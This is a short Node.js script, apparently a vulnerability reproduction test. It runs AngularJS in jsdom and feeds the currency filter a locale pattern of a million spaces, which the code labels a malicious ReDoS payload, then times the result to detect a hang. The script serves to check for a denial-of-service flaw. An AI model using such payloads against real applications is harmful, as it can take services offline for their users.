const { JSDOM, VirtualConsole } = require('jsdom');
const fs = require('fs');

const angularJS = fs.readFileSync('/usr/share/javascript/angular.js/angular.min.js', 'utf-8');

const virtualConsole = new VirtualConsole();
virtualConsole.sendTo(console);

const html = `
<!DOCTYPE html><html><head><script>${angularJS}</script>
<script>
  angular.module('app', [])
    .controller('AppCtrl', function($locale, $filter) {
      const ctrl = this;

      // Malicious input to trigger potential ReDoS
      const malicious = ' '.repeat(1e6);

      console.log('Applying potentially malicious pattern...');
      $locale.NUMBER_FORMATS.PATTERNS[1].posPre = malicious;
      $locale.NUMBER_FORMATS.CURRENCY_SYM = '';

      const start = Date.now();
      try {
        const formatted = $filter('currency')(100);
        const duration = Date.now() - start;
        console.log('Duration:', duration, 'ms');

        if (duration > 2000) {
          process.exit(2);
        } else {
          process.exit(0);
        }
      } catch (err) {
        process.exit(1);
      }
    });
</script></head>
<body ng-app="app" ng-controller="AppCtrl as ctrl"></body></html>`;

const dom = new JSDOM(html, {
  runScripts: 'dangerously',
  resources: 'usable',
  virtualConsole,
  pretendToBeVisual: true
});
dom.window.process = process;

dom.window.document.addEventListener("DOMContentLoaded", () => {
  const angular = dom.window.angular;
  angular.bootstrap(dom.window.document, ['app']);
});
